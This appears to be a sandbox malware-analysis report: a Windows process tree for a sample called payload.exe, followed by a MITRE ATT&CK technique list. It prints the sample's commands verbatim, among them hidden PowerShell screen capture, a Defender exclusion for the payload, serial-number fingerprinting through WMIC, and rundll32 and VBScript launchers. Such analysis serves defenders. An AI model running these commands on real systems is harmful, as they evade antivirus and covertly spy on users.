    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\devcon_9aebda.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:7040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\devcon_9aebda.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    PID:2856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:3164
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:6872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:1852
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:2620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6348
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:7124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:4820
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:2688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\msihelp_04039e.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\msihelp_04039e.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:1504
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:1252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6112
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:6456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:6812
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:6320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:692
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get serialnumber /value
      4⤵
      PID:3456
- - C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe
    C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe
    3⤵
    PID:6184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe""
    3⤵
    - Executes a command shell one-liner
    PID:6648
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe"
      4⤵
      Executes a command shell one-liner
      PID:3568
    - - C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe"
        5⤵
        
        PID:6416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe""
    3⤵
    - Executes a command shell one-liner
    PID:6884
  - - C:\Windows\explorer.exe
      explorer.exe "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe"
      4⤵
      PID:7120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe""
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:3488
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe"
      4⤵
      System Binary Proxy Execution: Rundll32
      PID:2392
    - - C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe"
        5⤵
        
        PID:5660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe' -WindowStyle Hidden""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:1224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6364
    - - C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe"
        5⤵
        
        PID:5664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\dpinst_6574e2.vbs""
    3⤵
    - Executes a command shell one-liner
    PID:6204
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\dpinst_6574e2.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:6448
    - - C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe"
        5⤵
        
        PID:7100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dpinst_42723c.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dpinst_42723c.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
    3⤵
    - Executes a command shell one-liner
    PID:4552
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic baseboard get serialnumber /value
      4⤵
      PID:6956

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4284
- C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe
  "C:\Users\Admin\AppData\Local\Temp\AppData\files\mrz186gtf651\payload.exe"
  2⤵
  PID:4548

C:\Windows\System32\Wbem\WMIC.exe
wmic baseboard get serialnumber /value
1⤵
PID:6936

C:\Windows\System32\Wbem\WMIC.exe
wmic diskdrive get serialnumber /value
1⤵
PID:1824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery